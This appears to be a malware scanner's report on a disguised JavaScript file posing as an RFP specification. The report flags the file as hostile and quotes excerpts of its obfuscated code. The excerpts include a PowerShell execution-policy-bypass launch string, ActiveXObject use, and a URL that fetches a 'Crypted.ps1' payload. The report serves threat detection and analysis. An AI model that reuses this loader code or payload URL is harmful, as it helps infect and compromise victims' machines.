Hostile ^92% Download

WE GH2_RFP PKG for_Bangchak Sriracha SPEC_REV.js

Obfuscated PowerShell download and execution

Obfuscated ActiveX JS uses PS ep bypassActiveXObject constructor reference

SHA-256e764353df79cecadf15a7f671a6becb3045d9625efe0c87c7567f3368facbbcf

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(ErAs₂CXe)H₆(Cm₂Cr₂Db₇F₂OsPo₇)

Evidence

Hex-prefixed variable names (_0x pattern) lines 1–4

1(function () {
  'use strict';
  var _0x3e10f2 = _0x53c2, _0x1223d8 = _0x53c2, _0x47db8b = _0x53c2, _0x10bfa9 = _0x53c2, _0x54439f = _0x53c2, _0x3cb61e = _0x53c2, _0x573c1d = _0x53c2, _0x87db28 = {
          'BswrH': function (_0x152 …

PowerShell nop/ep-bypass -File launch lines 19–28

13… 'kMuoQ': function (_0x3b20eb, _0x42009a, _0xd284ca) {
              return _0x3b20eb(_0x42009a, _0xd284ca);
          },
          'lJugz': 'powershell.exe\x20-nop\x20-ep\x20bypass\x20-file\x20\x22',
          'arKOL': _0x47db8b(0x33, 'SC^!'),
          'OsOTi': _0x1223d8(0x2f, 'ws%H'),
⋯4 lines

URL ends in .cmd, .ps1 or .dll lines 39–71

20… : function (_0x1dc2d5, _0x13003f, _0x56efff) {
              var _0x8b99f6 = _0x47db8b;
              return _0x87db28[_0x8b99f6(0x21, 'quT1')](_0x1dc2d5, _0x13003f, _0x56efff);
          },
          'thkxR': _0x4f4229(0x8),
          'DuFQq': _0x4f4229(0xf),
          'yhlSG': _0x87db28[_0x47db8b(0xe, 'Z$!o')](_0x4f4229, 0x15)
      }, _0x4a6a3b = {};
  _0x4a6a3b[_0x87db28['iLLDS'](_0x9524f, 0x6)] = 'https://myprojectverification.linkpc.net/documentpri/Crypted.ps1', _0x4a6a3b[_0x4f4229(0xc)] = _0xb33dfd[_0x87db28['WxarZ'](_0x548ed7, 0x12)], _0x4a6a3b[_0x548ed7(0x2)] = 0x2;
  var _0x3ed3a5 = _0x4a6a3b, _0x4a2285 = new ActiveXObject(_0x4f4229(0x11)), _0x5c1a37 = new ActiveXObject(_0xb33dfd[_0x87db28['iLLDS'](_0x9524f, 0xd)]), _0x2a27ec = new ActiveXObject(_0xb33dfd[_0x87db28[_0x10bfa9(0x13, '71[G')](_0x595571, 0x1)]);
  function _0x574c7d(_0xbd67a3) {
      var _0x1b0b2a = _0x3e10f2, _0x1a070d = _0x3e10f2;
      try {
          return !_0x4a2285[_0x1b0b2a(0x2e, 'LafP')](_0xbd67a3) && _0x4a2285[_0x87db28[_0x1b0b2a(0x11, '%lYA')]](_0xbd67a3), !![];
      } catch (_0x340a5d) {
          return ![];
      }
  }
  function _0xf91e29() {
      var _0xf327f8 = _0x573c1d, _0x3d19ed = _0x573c1d, _0x59edd4 = _0x573c1d, _0x4bc2ed = _0x27c337, _0x44b723 = _0x27c337, _0x52e92f = Math[_0xf327f8(0x26, 'G33$')]()['toString'](0x24)[_0x4bc2ed(0x4)](0x2, 0xa);
      return _0x87db28[_0x3d19ed(0x20, 'yT!q')](_0x52e92f[_0x87db28[_0x59edd4(0xd, 'o8YW')]](), _0x44b723(0x13));
  }
  function _0x3355f5(_0x26b5a6, _0x8db1c5) {
      var _0xd9ca99 = _0x54439f, _0x2a8988 = _0x54439f, _0xcb0fe3 = _0x548ed7, _0x3ad659 = _0x548ed7, _0x3d1ff9 = _0x4a2285[_0x87db28[_0xd9ca99(0x6, 'v14M')](_0xcb0fe3, 0x3)](_0x26b5a6, !![]);
      _0x3d1ff9[_0x2a8988(0x15, 'oOH6')](_0x8db1c5), _0x3d1ff9[_0x3ad659(0x5)]();
  }
  function _0x22e02a(_0x1d8164, _0x1fa21d) {
      var _0x2e9b1b = _0x47db8b, _0x33e54d = _0x47db8b, _0x11f835 = _0x4b6103, _0x127846 = _0x4b6103;
      _0x1fa21d = _0x1fa21d || 0x2;
      var _0x2a5b6c = null;
      for (var _0x4bcd14 = 0x0; _0x4bcd14 <= _0x1fa21d; _0x4bcd14++) {
          try {
               …

Hex-prefixed function names (_0x pattern) lines 78–83

          }
      }
      return _0x2a5b6c;
  }
  function _0x1987eb(_0x25e8e4, _0x4a0d05) {
      var _0x431799 = _0x3e10f2, _0x58ec2e = _0x3e10f2, _0x5a5446 = _0x4f4229, _0x1369d1 = _0x4f4229, …

Assigns through a computed JavaScript member lines 120–126

9… _0x2a83ea = {};
  _0x2a83ea[_0x87db28[_0x573c1d(0x3, 'Xy@a')]] = _0x561dce, _0x2a83ea[_0x27c337(0x0)] = function (_0x43d459, _0x3d4fe7) {
      if (_0x3d4fe7 !== undefined)
          return _0x3ed3a5[_0x43d459] = _0x3d4fe7, this;
      return _0x3ed3a5[_0x43d459];
  }, _0x2a83ea[_0x47db8b(0x24, 'yT!q')] = function () {
      var _0x5dbb4d  …